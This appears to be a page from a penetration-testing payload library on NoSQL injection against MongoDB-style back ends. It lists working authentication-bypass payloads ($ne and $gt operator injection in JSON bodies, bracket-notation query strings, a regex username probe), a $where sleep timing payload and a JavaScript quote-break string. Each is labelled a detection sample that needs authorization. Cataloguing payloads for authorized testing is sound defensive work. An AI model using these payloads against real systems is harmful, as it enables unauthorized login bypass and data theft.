Payload class · nosqli

NoSQL Injection

MongoDB and friends. Use operator injection in JSON bodies and bracket notation in query strings to bypass auth or exfiltrate via boolean/regex conditions.

nosqlimongodbauth-bypass

Stable IDpayload:nosqliLast updated2026-08-20Last verifiedLegacy review pendingProvenanceSource-linked

Context first

Use as a detection primitive

MongoDB and friends. Use operator injection in JSON bodies and bracket notation in query strings to bypass auth or exfiltrate via boolean/regex conditions.

Do not copy blind

Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.

Samples

Recorded payloads

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

{"username": {"$ne": null}, "password": {"$ne": null}}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

{"username": "admin", "password": {"$gt": ""}}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

username[$ne]=1&password[$ne]=1

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

username[$regex]=^adm&password[$ne]=1

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

{"$where": "sleep(5000)"}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

';return true;var x='

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Source

Attribution

Open the primary collection ↗

Version history: normalized permanent page created 2026-08-20.